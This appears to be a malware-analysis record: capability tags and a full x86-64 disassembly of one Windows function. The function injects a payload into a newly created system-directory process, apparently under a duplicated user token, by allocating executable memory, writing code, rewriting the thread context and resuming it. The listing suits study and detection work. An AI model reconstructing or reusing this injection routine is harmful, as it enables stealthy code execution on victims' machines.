Function at 0x2d9e3cc670
Capabilities:
Allocate or change rwx memory
Check os version
Create process on windows
Execute shellcode via indirect call
Get common file path
Link many functions at runtime
Resume thread
Self delete
Terminate process

Disassembly:
mov qword [rsp + 0x18], rbx
push rbp
push rsi
push rdi
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0xa30]
sub rsp, 0xb30
mov rax, qword [0x2d9e415008]
xor rax, rsp
mov qword [rbp + 0xa20], rax
mov r12d, edx
mov r13, rcx
xor edx, edx
lea rcx, [rbp - 0x60]
lea r8d, [rdx + 0x70]
call fcn.2d9e3e3840
xor eax, eax
mov dword [rbp - 0x60], 0x70
xor esi, esi
mov qword [rsp + 0x68], rax
xor edx, edx
mov qword [rsp + 0x70], rax
mov r8d, 0x114
mov qword [rsp + 0x78], rax
lea rcx, [rbp + 0x10]
mov qword [rbp - 0x80], rsi
lea r15d, [rax + 0xc]
mov qword [rbp - 0x70], rsi
mov r14d, esi
call fcn.2d9e3e3840
lea rcx, [rbp + 0x10]
mov dword [rbp + 0x10], 0x114
call qword [sym.imp.KERNEL32.dll_GetVersionExW]
cmp dword [rbp + 0x14], 6
setae sil
call fcn.2d9e3c9480
test eax, eax
jne 0x2d9e3cc71e
call fcn.2d9e3c9530
test eax, eax
je 0x2d9e3cc7f8
test esi, esi
je 0x2d9e3cc7f8
mov r8d, eax
xor edx, edx
mov ecx, 0x1fffff
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov qword [rbp - 0x70], rax
test rax, rax
je 0x2d9e3cc7f8
lea rcx, [0x2d9e409610]
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov rcx, rax
lea rdx, [0x2d9e409928]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rcx, [0x2d9e409610]
mov rbx, rax
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov rcx, rax
lea rdx, [0x2d9e4099a0]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rdi, rax
test rax, rax
je 0x2d9e3cc7f8
test rbx, rbx
je 0x2d9e3cc7f8
xor r8d, r8d
lea r9, [rbp - 0x80]
xor ecx, ecx
lea edx, [r8 + 1]
call rbx
mov rcx, qword [rbp - 0x80]
call fcn.2d9e3da838
xor r8d, r8d
lea r9, [rbp - 0x80]
mov rcx, rax
mov r14, rax
lea edx, [r8 + 1]
call rbx
mov rcx, r14
test eax, eax
je 0x2d9e3cc8f9
xor eax, eax
lea r9, [rbp - 0x70]
mov qword [rsp + 0x30], rax
xor edx, edx
mov qword [rsp + 0x28], rax
mov r8d, 0x20000
mov qword [rsp + 0x20], 8
call rdi
test eax, eax
je 0x2d9e3cc8f6
mov qword [rbp + 8], r14
mov r15d, 0x8000c
xor edi, edi
mov edx, 0x104
lea rcx, [rbp + 0x600]
mov ebx, edi
call qword [sym.imp.KERNEL32.dll_GetSystemDirectoryW]
lea ecx, [rax - 1]
cmp word [rbp + rcx*2 + 0x600], 0x5c
je 0x2d9e3cc846
mov ecx, eax
mov edx, 0x5c
mov word [rbp + rcx*2 + 0x600], dx
lea ecx, [rax + 1]
add rcx, rcx
cmp rcx, 0x208
jae 0x2d9e3ccb51
mov word [rbp + rcx + 0x600], di
lea r8, [rbp + 0x600]
lea rdx, [0x2d9e409968]
lea rcx, [rbp + 0x810]
call qword [sym.imp.USER32.dll_wsprintfW]
test esi, esi
je 0x2d9e3cc9e0
xor eax, eax
lea rcx, [0x2d9e409590]
mov qword [rbp - 0x78], rax
mov dword [rsp + 0x60], eax
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov rcx, rax
lea rdx, [0x2d9e4097d8]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rsi, rax
xor edi, edi
nop word [rax + rax]
xor edx, edx
lea rax, [rsp + 0x60]
lea r9, [rbp - 0x78]
mov qword [rsp + 0x20], rax
xor ecx, ecx
lea r8d, [rdx + 1]
call rsi
test eax, eax
je 0x2d9e3cc9e0
mov r8d, dword [rsp + 0x60]
xor r10d, r10d
mov r9, qword [rbp - 0x78]
mov edx, r10d
test r8d, r8d
je 0x2d9e3cc916
nop dword [rax]
nop dword [rax + rax]
mov eax, edx
lea rcx, [rax + rax*2]
cmp dword [r9 + rcx*8 + 0x10], r10d
je 0x2d9e3cc908
inc edx
cmp edx, r8d
jb 0x2d9e3cc8e0
jmp 0x2d9e3cc916
mov rcx, r14
call fcn.2d9e3da7f4
xor edi, edi
mov r14d, edi
jmp 0x2d9e3cc7fa
mov eax, edx
lea rcx, [rax + rax*2]
mov ebx, dword [r9 + rcx*8]
test ebx, ebx
jne 0x2d9e3cc941
mov edx, r10d
test r8d, r8d
je 0x2d9e3cc941
nop
mov eax, edx
lea rcx, [rax + rax*2]
cmp dword [r9 + rcx*8 + 0x10], 1
je 0x2d9e3cc937
inc edx
cmp edx, r8d
jb 0x2d9e3cc920
jmp 0x2d9e3cc941
mov eax, edx
lea rcx, [rax + rax*2]
mov ebx, dword [r9 + rcx*8]
lea rcx, [0x2d9e409590]
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov rcx, rax
lea rdx, [0x2d9e409580]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, qword [rbp - 0x78]
call rax
test ebx, ebx
jne 0x2d9e3cc980
mov ecx, 0xbb8
call qword [sym.imp.KERNEL32.dll_Sleep]
inc edi
cmp edi, 0xa
jl 0x2d9e3cc8a0
jmp 0x2d9e3cc9e0
mov ecx, ebx
call fcn.2d9e3cc5c0
mov rbx, rax
test rax, rax
je 0x2d9e3cc9e0
lea rax, [rsp + 0x68]
xor r9d, r9d
mov qword [rsp + 0x50], rax
lea r8, [rbp + 0x810]
lea rax, [rbp - 0x60]
xor edx, edx
mov qword [rsp + 0x48], rax
mov rcx, rbx
xor eax, eax
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], rax
mov dword [rsp + 0x30], r15d
mov dword [rsp + 0x28], eax
mov qword [rsp + 0x20], rax
call qword [sym.imp.ADVAPI32.dll_CreateProcessAsUserW]
mov rcx, rbx
mov edi, eax
call qword [sym.imp.KERNEL32.dll_CloseHandle]
test edi, edi
jne 0x2d9e3cca1f
lea rax, [rsp + 0x68]
xor r9d, r9d
mov qword [rsp + 0x48], rax
lea rdx, [rbp + 0x810]
lea rax, [rbp - 0x60]
xor r8d, r8d
mov qword [rsp + 0x40], rax
xor ecx, ecx
xor eax, eax
mov qword [rsp + 0x38], rax
mov qword [rsp + 0x30], rax
mov dword [rsp + 0x28], r15d
mov dword [rsp + 0x20], eax
call qword [sym.imp.KERNEL32.dll_CreateProcessW]
mov edi, eax
test r14, r14
je 0x2d9e3cca58
lea rcx, [0x2d9e409610]
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov rcx, rax
lea rdx, [0x2d9e4099e0]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
test rax, rax
je 0x2d9e3cca4b
mov rcx, r14
call rax
mov edx, 1
mov rcx, r14
call fcn.2d9e3da7f4
mov rcx, qword [rbp - 0x70]
test rcx, rcx
je 0x2d9e3cca67
call qword [sym.imp.KERNEL32.dll_CloseHandle]
test edi, edi
je 0x2d9e3ccabe
mov rcx, qword [rsp + 0x70]
lea rdx, [rbp + 0x130]
mov dword [rbp + 0x160], 0x10000b
call qword [sym.imp.KERNEL32.dll_GetThreadContext]
test eax, eax
je 0x2d9e3ccabe
mov rcx, qword [rsp + 0x68]
mov r9d, 0x3000
mov r8, r12
mov dword [rsp + 0x20], 0x40
xor edx, edx
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov rcx, qword [rsp + 0x68]
mov rbx, rax
test rax, rax
jne 0x2d9e3ccaea
xor edx, edx
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
xor eax, eax
mov rcx, qword [rbp + 0xa20]
xor rcx, rsp
call fcn.2d9e3da7d0
mov rbx, qword [rsp + 0xb80]
add rsp, 0xb30
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
ret
lea rax, [rbp - 0x68]
mov r9, r12
mov r8, r13
mov qword [rsp + 0x20], rax
mov rdx, rbx
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
jne 0x2d9e3ccb0f
mov rcx, qword [rsp + 0x68]
xor edx, edx
jmp 0x2d9e3ccab8
mov rcx, qword [rsp + 0x70]
lea rdx, [rbp + 0x130]
mov qword [rbp + 0x228], rbx
call qword [sym.imp.KERNEL32.dll_SetThreadContext]
test eax, eax
je 0x2d9e3ccb06
mov rcx, qword [rsp + 0x70]
call qword [sym.imp.KERNEL32.dll_ResumeThread]
cmp eax, 0xffffffff
je 0x2d9e3ccb06
mov rcx, qword [rsp + 0x70]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rax, qword [rsp + 0x68]
jmp 0x2d9e3ccac0
call fcn.2d9e3dad58
int3